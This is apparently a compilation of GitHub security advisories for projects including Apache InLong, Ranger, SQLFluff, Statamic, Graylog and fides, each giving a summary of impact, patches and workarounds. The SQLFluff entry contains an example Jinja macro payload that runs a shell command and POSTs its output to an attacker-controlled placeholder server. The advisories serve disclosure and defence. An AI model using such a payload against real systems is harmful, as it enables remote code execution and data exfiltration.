Source
ghsa
Incorrect Permission Assignment for Critical Resource Vulnerability in Apache Software Foundation Apache InLong. This issue affects Apache InLong from 1.2.0 through 1.6.0. The attacker can bind any cluster, even if he is not the cluster owner. Users are advised to upgrade to Apache InLong 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7947 to solve it.
Attacker can access arbitrary recording/room Vendor: The Apache Software Foundation Versions Affected: Apache OpenMeetings from 2.0.0 before 7.1.0
Authenticated users with appropriate privileges can create policies having expressions that can exploit code execution vulnerability. This issue affects Apache Ranger: 2.3.0. Users are recommended to update to version 2.4.0.
### Impact Servers that passed their keys to the CryptKey constructor as as string instead of a file path will have had that key included in a LogicException message if they did not provide a valid pass phrase for the key where required. ### Patches This issue has been patched so that the provided key is no longer exposed in the exception message in the scenario outlined above. Users should upgrade to version 8.5.3 to receive the patch ### Workarounds We recommend upgrading the oauth2-server to the latest version. If you are unable to upgrade you can avoid this security issue by passing your key as a file instead of a string. ### References [Pull request](https://github.com/thephpleague/oauth2-server/pull/1353) for the applied fix.
### Impact In environments where untrusted users have access to the config files (e.g. `.sqlfluff`), there is a potential security vulnerability where those users could use the `library_path` config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a [sandboxed environment](https://docs.snowflake.com/en/sql-reference/sql/show-warehouses) but the following example shows how an external url might be called and used to reveal internal information to an external listener: ```ini [sqlfluff:templater:jinja] library_path = /usr/lib/python3.9/http [sqlfluff:templater:jinja:macros] a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}} ``` For many users who use SQLFluff in the context of an environment where all users _already have fairly escalated privileges_, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool whe...
Antlers sanitizer cannot effectively sanitize malicious SVG ### Summary The SVG tag does not sanitize malicious SVG. Therefore, an attacker can exploit this vulnerability to perform XSS attacks using SVG, even when using the `sanitize` function. ### Details Regarding the previous discussion mentioned [here](https://github.com/statamic/cms/security/advisories/GHSA-jvw9-rrc5-39g6#advisory-comment-84322), it has been identified that the default blacklist in the **FilesFieldtypeController** (located at this [link](https://github.com/statamic/cms/blob/f806b6b007ddcf066082eef175653c5beaa96d60/src/Http/Controllers/CP/Fieldtypes/FilesFieldtypeController.php#L15)) only blocks certain file extensions such as php, php3, php4, php5, and phtml. This allows a malicious user to upload a manipulated SVG file disguised as a social media icon, potentially triggering an XSS vulnerability. ### PoC Screenshot  feature. The vulnerability is caused by incorrect user input validation in an HTTP API resource. Thanks to weiweiwei9811 for reporting this vulnerability and providing detailed information. ### Impact Graylog's Support Bundle feature allows an attacker with valid Admin role credentials to download or delete files in sibling directories of the support bundle directory. The default `data_dir` in operating system packages (DEB, RPM) is set to `/var/lib/graylog-server`. The data directory for the Support Bundle feature is always `<data_dir>/support-bundle`. Due to the partial path traversal vulnerability, an attacker with valid Admin role credentials can read or delete files in directories that start with a `/var/lib/graylog-server/support-bundle` directory name. The vulnerability would allow the download or deletion of ...
### Summary Graylog utilises only one single source port for DNS queries. ### Details Graylog seems to bind a single socket for outgoing DNS queries. That socket is bound to a random port number which is not changed again. This goes against recommended practice since 2008, when Dan Kaminsky discovered how easy is to carry out DNS cache poisoning attacks. In order to prevent cache poisoning with spoofed DNS responses, it is necessary to maximise the uncertainty in the choice of a source port for a DNS query. ### PoC The attached figure shows the source ports distribution difference between Graylog configured to use a data adapter based on DNS queries and ISC Bind. The source port distribution of the DNS queries sent from Graylog to a recursive DNS name server running Bind (CLIENT_QUERY) are depicted in purple, while the queries sent from the recursive DNS server to the authoritatives (RESOLVER_QUERY) are plotted in green color. As it can be observed, in contrast to ISC Bind which ...
### Summary In a multi-node Graylog cluster, after a user has explicitly logged out, a user session may still be used for API requests until it has reached its original expiry time. ### Details Each node maintains an in-memory cache of user sessions. Upon a cache-miss, the session is loaded from the database. After that, the node operates solely on the cached session. Modifications to sessions will update the cached version as well as the session persisted in the database. However, each node maintains their isolated version of the session. When the user logs out, the session is removed from the node-local cache and deleted from the database. The other nodes will however still use the cached session. These nodes will only fail to accept the session id if they intent to update the session in the database. They will then notice that the session is gone. This is true for most API requests originating from user interaction with the Graylog UI because these will lead to an update of the...
### Impact A path traversal (directory traversal) vulnerability affects fides versions lower than `2.15.1`, allowing remote attackers to access arbitrary files on the fides webserver container's filesystem. ### Patches The vulnerability is patched in fides `2.15.1`. Users should upgrade to this version. ### Workarounds If the Fides webserver API is not directly accessible to attackers and is instead deployed behind a reverse proxy as recommended in Ethyca's [security best practice documentation](https://docs.ethyca.com/docs/configuration/security-practices#reverse-proxy), and the reverse proxy is an AWS application load balancer, the vulnerability can't be exploited by these attackers. An AWS application load balancer will reject this attack with a 400 error. Additionally, any secrets supplied to the container using environment variables rather than a `fides.toml` configuration file are not affected by this vulnerability.